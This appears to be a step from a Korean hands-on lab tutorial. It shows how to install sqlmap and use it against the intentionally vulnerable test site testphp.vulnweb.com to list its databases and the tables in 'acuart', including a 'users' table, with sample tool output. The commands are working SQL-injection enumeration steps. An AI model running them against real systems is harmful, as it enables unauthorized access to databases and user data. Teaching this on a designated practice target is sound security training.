열거할 대상 데이터베이스 및 테이블 선택
이 단계에서는 열거하려는 특정 테이블과 그 안의 데이터베이스를 가상으로 식별합니다. 이 실습에서는 이미 취약한 URL 과 users라는 테이블을 포함하는 testdb라는 데이터베이스를 식별했다고 가정합니다.
먼저 시스템에 sqlmap이 사용 가능한지 확인합니다. 설치되어 있지 않다면 apt를 사용하여 설치할 수 있습니다.
sudo apt update
sudo apt install -y sqlmap
이제 취약한 대상을 시뮬레이션해 보겠습니다. 시연 목적으로 더미 URL 을 사용합니다. 실제 시나리오에서는 SQL 인젝션에 취약한 URL 이 될 것입니다.
이 실습에서는 다음 자리 표시자 URL 을 사용합니다: http://testphp.vulnweb.com/listproducts.php?cat=1. 이것은 테스트에 자주 사용되는 알려진 취약한 대상입니다. 우리는 acuart라는 데이터베이스와 그 안에 users라는 테이블이 있다고 가정할 것입니다. 우리의 목표는 users 테이블의 컬럼을 열거하는 것입니다.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
acuart를 포함한 데이터베이스 목록이 표시되어야 합니다. 이는 대상에 접근 가능하며 sqlmap이 상호 작용할 수 있음을 확인시켜 줍니다.
...
[INFO] 모든 데이터베이스에 대한 데이터를 가져왔습니다.
사용 가능한 데이터베이스 [2]:
[*] acuart
[*] information_schema
...
다음으로 acuart 데이터베이스의 테이블을 확인해 보겠습니다.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
users를 포함한 테이블 목록이 표시되어야 합니다.
...
[INFO] 데이터베이스 'acuart'의 모든 테이블에 대한 데이터를 가져왔습니다.
데이터베이스: acuart
[10개의 테이블]
+------------+
| artists |
| carts |
| categories |
| guestbook |
| pictures |
| products |
| users |
| ... |
+------------+
...
이는 대상에 acuart 데이터베이스와 users 테이블이 존재함을 확인시켜 줍니다.